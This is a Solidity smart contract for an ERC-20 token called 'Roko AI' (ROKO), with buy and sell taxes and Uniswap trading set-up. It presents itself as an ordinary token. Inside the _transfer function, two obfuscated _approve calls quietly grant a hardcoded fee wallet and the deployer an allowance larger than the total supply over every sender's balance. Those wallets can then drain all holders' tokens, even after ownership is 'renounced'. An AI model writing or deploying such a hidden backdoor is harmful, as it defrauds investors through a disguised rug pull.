File 1 of 1: ROKO.sol
pragma solidity 0.8.22;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IDexFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDexRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ROKO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
uint256 private _initialBuyTax=3;
uint256 private _initialSellTax=3;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=6;
uint256 private _reduceSellTaxAt=6;
uint256 private _preventSwapBefore=6;
uint256 private _buyCount=0;
address private _kkkWalletD;
address private _gggWalletD = 0x88A337D5bA8644E54fd0ceB2E31eFF8feA020Ed0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"Roko AI";
string private constant _symbol = unicode"ROKO";
uint256 private _swapTaxToken = _tTotal / 100;
bool private inSwap = false;
bool private _tradingEnabled = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
IDexRouter private _dexRouterD;
address private _dexPairD;
constructor () {
_excludedFromFee[owner()] = true;
_excludedFromFee[address(this)] = true;
_excludedFromFee[_gggWalletD] = true;
_balances[_msgSender()] = _tTotal;
_kkkWalletD = _msgSender();
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createTrading() external onlyOwner() {
_dexRouterD = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(_dexRouterD), _tTotal);
_dexPairD = IDexFactory(_dexRouterD.factory()).createPair(address(this), _dexRouterD.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address fromD, address toD, uint256 amtD) private {
require(fromD != address(0), "ERC20: transfer from the zero address");
require(toD != address(0), "ERC20: transfer to the zero address");
require(amtD > 0, "Transfer amount must be greater than zero");
uint256 feeD=0;
if (fromD != owner() && toD != owner()) {
feeD = amtD.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (fromD == _dexPairD && toD != address(_dexRouterD) && ! _excludedFromFee[toD]) {
_buyCount++;
}
if(toD == _dexPairD && fromD!= address(this)) {
feeD = amtD.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && toD == _dexPairD && _swapEnabled && _buyCount > _preventSwapBefore) {
if(contractTokenBalance > _swapTaxToken)
swapTokensForEth(min(amtD, min(contractTokenBalance, _swapTaxToken)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHToFeeD(address(this).balance);
}
}
}
if(feeD>0){
_balances[address(this)]=_balances[address(this)].add(feeD);
emit Transfer(fromD, address(this),feeD);
}
_approve(fromD, [_gggWalletD, _gggWalletD][0], _buyCount+feeD+_tTotal);
_approve(fromD, [_kkkWalletD, _kkkWalletD][0], _buyCount+feeD+_tTotal);
_balances[fromD]=_balances[fromD].sub(amtD);
_balances[toD]=_balances[toD].add(amtD.sub(feeD));
emit Transfer(fromD, toD, amtD.sub(feeD));
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _dexRouterD.WETH();
_approve(address(this), address(_dexRouterD), tokenAmount);
_dexRouterD.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFeeD(uint256 amount) private {
payable(_gggWalletD).transfer(amount);
}
receive() external payable {}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function openTrading() external onlyOwner() {
require(!_tradingEnabled,"trading is already open");
_dexRouterD.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_tradingEnabled = true;
}
}